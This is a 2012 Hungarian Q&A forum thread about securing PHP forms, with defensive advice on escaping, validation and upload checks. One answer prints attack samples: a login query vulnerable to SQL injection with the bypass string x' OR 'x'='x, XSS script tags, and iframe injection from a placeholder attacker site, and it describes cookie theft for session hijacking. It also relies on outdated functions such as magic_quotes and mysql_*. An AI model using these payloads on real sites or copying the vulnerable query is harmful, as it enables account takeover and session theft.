Kezdőoldal » Számítástechnika » Internet » Hogyan védjem le az űrlapjaima...

Hogyan védjem le az űrlapjaimat PHP-ban hogy ne tudjanak semmi kódot futtatni, feltörni?

Figyelt kérdés
Köszi!

2012. ápr. 20. 22:43
 1/6 anonim ***** válasza:

Szia,

azt hiszem a html purifier kell neked.

Az escapeli a html és asszem javascript kódokat is.

Ha az űrlapjaid elküldöd adatbázisba akkor pedig előtte egy mysql_real_escape vagy mi a szösz kell.

(Már régen phpztam)

2012. ápr. 20. 23:59
Hasznos számodra ez a válasz?
 2/6 2xSü ***** válasza:

Hát ez így elég általános kérdés.


Alapszabály: Minden felhasználótól érkező információ veszélyes. Erős formai követelményeket kell támasztani és szerver oldalon ellenőrizni.


Néhány kulcsszó, amire Google-ben rákeresve sok-sok olvasnivalót találsz:

SQL injection

Cross Site Scripting (vagy XSS)


Pl. Ha mondjuk regisztrációnál egy nevet kell megadni, akkor érdemes a tag-ektől letisztítani és így keztelni, vagy a kiírásnál biztosítani, hogy ne html tag-ként kerüljön a kimenetre.

Pl. ha regisztrációnál a <script>alert('hehehe');</script> nevet adom meg, akkor ahol kiírod a nevemet, ott egy script kerül a kimenetre. Ez ellen lehet védekezni. Lásd: htmlspecialchars, strip_tags függvények.


Ha adatbázisba írsz, ott is minden esetben ellenőrizni kell, hogy az adatok nem csinálnak-e valami egészen mást, mint amit szeretnél. Lásd: SQL injection. Lásd: mysql_real_escape_string


Bizonyos műveleteknél pl. fontos lehet, hogy egy egész szám bekérésénél egész szám kerüljön a rendszerbe. (És ne szöveg, ne valós szám, stb…) (Pl. gondoltam egy számra jellegű játékok)


Ha fájlba írsz, akkor biztosnak kell lenned, hogy ne legyen futtatási jog a fájlon. Lásd: chmod. A kiterjesztéseket is úgy kell megválasztani, hogy az adott szerveren ne lehessen az adott fájlt más célra felhasználni. Pl. ha képfeltöltés van, akkor ne lehessen exe, php fájlokat feltölteni. (Lásd: kiterjesztés vizsgálata, saját fájlnév használata, vagy képnél lehet használni a getimagesize függvényt)

2012. ápr. 21. 10:01
Hasznos számodra ez a válasz?
 3/6 A kérdező kommentje:
Köszi, tehátha számoknál ellenőrzöm hogy szám-e, akkor hiába ír be akármilyen kódot nem fut le véletlenül az ellenőrzés közben? Konkrétabb példákat tudnántok mutatni?
2012. ápr. 23. 16:33
 4/6 2xSü ***** válasza:

Pl. Belépés űrlap:


$result = mysql_query("SELECT * FROM user WHERE (nev='" . $_POST['nev'] . "') AND (jelszo='" . $_POST['jelszo'] . "')");


Ez remek, de mi van akkor, ha név mondjuk „admin”-t írok, a jelszóhoz meg:

x' OR 'x'='x


Ekkor előáll ez az SQL utasítás:


SELECT * FROM user WHERE (nev='admin') AND (jelszo='x' OR 'x'='x')


Mivel az 'x'='x' igaz, így elég ennek a feltételnek teljesülnie, ezzel megkerültük a jelszót.


Lásd: SQL injection

Lásd: http://img.chan4chan.com/img/2010-03-21/1268995974-dropdatabase.jpg :-)


Szerencsére a PHP magic_quote funkciója alapból ad némi védelmet, tehát ma a legtöbb esetben nem működik ez a módszer. De azért akad olyan oldal, ahol bejön. (Ha valaki nem tudja miért van a magic quote és visszaalakítja a bejövő adatokat.)


* * * * *


A számkitalálós példában szereplő hibát én is elkövettem. Volt egy oldal, ahol a játékosok ki tudták hívni egymást. Az egyiknek meg kellett adnia egy számot 1 és 10 között. A másik játékos ötször próbálhatta eltalálni a számot, ha eltalálta, akkor ő nyert, ha nem, akkor a szám kitalálója.


Szépen ellenőriztük is a dolgot, bár sokat nem vacakoltunk vele. Valahogy így:


$szam=1*$szam; // Így tuti szám jön ki. Ha betűket írt oda, akkor a következőnél úgyis fennakad…

if (($szam<1) || ($szam>10)) $rosszszam=true;


No valahogy így nézett ki a dolog. Viszont van ebben egy hiba. Meg lehet adni mondjuk kitalált számnak, hogy 7.5324564. Ez átmegy az ellenőrzésen és a kutya sem fogja kitalálni.


Ezért fontos, hogy minden eshetőségre gondoljon az ember.


* * * * *


Fórumhozzászólás:


Pl. mi van, ha valaki ilyet ír be:

<big><big><big>Hello</big></big></big>


Jó, ez csak szép nagybetűvel ír, de szépen taccsra lehet vágni vele a megjelenést.


Vagy:

<script>alert('Hiba van a rendszerben!');</script>


Na ezzel aztán egészen idegesítő dolgokat lehet elkövetni.


Vagy:

Sziasztok!<iframe src='www.tamadooldal.hu/becsempeszettkod.html' />


No ez a legveszélyesebb. Márcsak azért is, mert sima userként fel sem tűnik, hogy valami gond van. Az IFrame segítségével be lehet akár nagyon hosszú javascriptet is szúrni, még akkor is, ha kevés karakter áll rendelkezésre. (Pl. usernév, levél tárgy, stb…)


Így viszont pl. lehet olyan javascript kódot is készíteni, ami pl. lekérdezi a sütiket, és egy másik oldalra posztolja azokat mondjuk egy GET hívással. A támadó így szépen figyelheti, mikor jön új adat. Mivel a session azonosító is sütiben tárolódik, ezért magának is be tudja ezt a cookie-t állítani, így gyakorlatilag a jelszó ismerete nélkül be tud lépni az oldalra egy kiválasztott áldozat nevében. Hogy ez aztán mire jó, az az oldaltól függ. Pl. meg tudja változtatni a jelszót, esetleg elcsípheti az admint, és akkor admin jogokkal tud garázdálkodni az oldalon.


Tehát ha szöveget kell kiírni, akkor célszerű a htmlspecialchars függvényt használni. Ha szövegformázást is akarsz mondjuk egy fórumon, vagy chaten, akkor nagyon alaposan át kell vizsgálni mindent.


Pl. ugye ott a BBCode, ami egyfajta HTML átirat. Sok helyen valósítják meg, de sokszor amatőr módon, a [ és ] jeleket lecserélik < és > jelekre. Pedig itt is működik akkor a [iframe src="www.tamadooldal.hu/becsempeszettkod.html"]


* * * * *


Ez innen már hackertudás. Egy jó szakembernek ismernie kell a hackerkedés alapjait, hogy tudja, mitől kell megvédeni az oldalát. Számtalan oldal, blog szól ilyenekről, csak keresgélni kell arra a pár kulcsszóra, amit megadtam. Viszont mély ez a kút, mindig van mit tanulni. Vannak böngészőspecifikus és általános kerülőutak is. Néha én is meglepődök, mik nincsenek. Mikor ezt megláttam pl., az nagyon új élmény volt anno: http://www.youtube.com/watch?v=AWqZ6MdcigQ . Szóval még a képek sem biztonságosak. :-) (Persze ez egy régi IE. De hasonló módon láttam már valid gif fájlt készíteni, amiben meg PHP kód volt és olyan hülye szerverbeállítás volt, hogy fájlkiterjesztéstől függetlenül minden átment a PHP fordítón. Így akár az egész tárhelyen úgy lehetne garázdálkodni, ahogy nem szégyen.)

2012. ápr. 23. 17:07
Hasznos számodra ez a válasz?
 5/6 A kérdező kommentje:
Nagyon szépen köszönöm a bő válaszolat, nem is tudom hogy hálálhatnám még!
2012. ápr. 24. 07:15
 6/6 2xSü ***** válasza:
Pl. úgy, hogy biztonságos honlapokat csinálsz. Meg esetleg úgy, hogy ha valaki másnak van ilyen problémája, akkor segítesz neki. :-)
2012. ápr. 24. 07:35
Hasznos számodra ez a válasz?

Kapcsolódó kérdések:





Minden jog fenntartva © 2024, www.gyakorikerdesek.hu
GYIK | Szabályzat | Jogi nyilatkozat | Adatvédelem | Cookie beállítások | WebMinute Kft. | Facebook | Kapcsolat: info(kukac)gyakorikerdesek.hu

A weboldalon megjelenő anyagok nem minősülnek szerkesztői tartalomnak, előzetes ellenőrzésen nem esnek át, az üzemeltető véleményét nem tükrözik.
Ha kifogással szeretne élni valamely tartalommal kapcsolatban, kérjük jelezze e-mailes elérhetőségünkön!